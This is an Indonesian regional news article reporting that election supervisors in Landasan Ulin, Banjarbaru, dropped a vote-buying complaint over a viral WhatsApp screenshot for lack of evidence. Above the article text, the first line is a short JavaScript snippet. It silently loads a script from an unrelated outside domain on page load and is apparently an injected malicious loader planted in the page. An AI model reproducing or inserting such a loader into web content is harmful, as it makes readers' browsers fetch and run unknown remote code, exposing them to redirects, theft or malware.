(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tangkapan layar yang sempat viral beredar menjadi dugaan bukti money politik dalam Pilwali Banjarbaru gugur pada hasil penelurusan Panitia Pengawas Kecamatan (Panwascam) Landasan Ulin.
Hal itu disampaikan jajaran Panwascam Landasan Ulin, Minggu (20/10/2024) malam, usai melakukan penelurusan terhitung tujuh hari sejak dugaan pelanggaran pemilihan dilaporkan.
Ketua Panwascam Landasan Ulin, Muhammad Novriandy menyebut, informasi awal yang didapat atas dugaan pelanggaran tersebut tidak dapat dinaikkan status menjadi temuan.
Baca juga: Dilantik, Ini Target Menteri LH Hanif Dalam Penanganan Isu Lingkungan
Disebabkan karena dari penelurusan yang dilakukan pihaknya, tidak ada cukup bukti yang menguatkan terkait adanya tangkapan layar tersebut.
“Berdasarkan hasil pleno penelurusan terhadap informasi awal dugaan pelanggaran tidak cukup bukti yang menguatkan untuk dinaikkan statusnya menjadi temuan,” ujar Muhammad Novriandy.
Kesimpulan itu didapat Panwascam Landasan Ulin berdasarkan analisis terhadap fakta-fakta hukum berupa keterangan para saksi, serta analisis terhadap persesuaian fakta hukum dengan alat bukti yang ada.
Baca juga: Wajah Kalsel di Kabinet Merah Putih: Hanif Faisol Menteri LH, Sulaiman Umar Wamen Kehutanan
“Berdasarkan hasil pleno, penelurusan terhadap informasi awal dugaan pelanggaran a quo di atas dinyatakan dihentikan dan tidak dapat ditindak lanjuti,” sambungnya.
Adapun proses penelusuran terhadap informasi awal dugaan pelanggaran pemilihan ini, sambungnya telah dilakukan dengan bersandar pada hukum formil Pasal 19 ayat (4) Perbawaslu 9 Tahun 2024 Tentang Perubahan Atas Peraturan Badan Pengawas Pemilihan Umum Nomor 8 Tahun 2020 Tentang Penanganan Pelanggaran Pemilihan Gubernur dan Wakil Gubernur, Bupati dan Wakil Bupati, Serta Wali Kota dan Wakil Wali Kota.
Sebelumnya diketahui, tangkapan layar itu adalah pesan whatsapp yang berisikan penawaran politik uang yang diduga dilakukan oleh salah satu tim Pasangan Calon (Paslon) di Pilwali Kota Banjarbaru.
Baca juga: Nikmati Musik Jazz yang Syahdu di Jazz Gunung Burangrang Bersama BRImo !
Dalam pesan tersebut, sebuah janji insentif sebesar Rp500 ribu ditawarkan kepada anggota KPPS di salah satu kelurahan di Banjarbaru oleh seseorang.
Tawaran itu, katanya, hanya berlaku khusus untuk yang benar-benar mendukung nomor urut 1 dalam Pilkada Serentak 2024 mendatang.
Sebagai upaya pencegahan, Komisioner Panwascam Landasan Ulin Divisi Hukum, Pencegahan, Partisipasi Masyarakat dan Hubungan Masyarakat (HP2H), Ali Rosul, tak henti menghimbau kepada masyarakat, calon kepala daerah maupun tim pendukungnya untuk dapat berkompetisi secara sehat dengan menjunjung tinggi nilai-nilai demokrasi.
“Kita berharap seluruh masyarakat dapat mengikuti dan melaksanakan Pilkada dengan aman, lancar dan demokratis,” tegas Ali. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM,- Di tengah kesibukan sehari-hari, sering kali kamu menghadapi masalah yang sepele namun bisa bikin… Read More
KANALKALIMANTAN.COM,- Kabupaten Buru merupakan salah satu kabupaten di wilayah Provinsi Maluku yang terletak di pulau… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Bendahara Panitia Pemungutan Suara (PPS) Kelurahan Batu Piring, Kecamatan Paringin Selatan, Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Hulu Sungai Utara (HSU) memberikan respon… Read More
KANALKALIMANTAN.COM, JAKARTA - Dosen Hukum Lingkungan dan Pusat Studi Lingkungan Hidup (PSLH) Universitas Gadjah Mada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pelaksanaan debat calon Wali Kota dan Wakil Wali Kota Banjarbaru untuk Pilwali… Read More
This website uses cookies.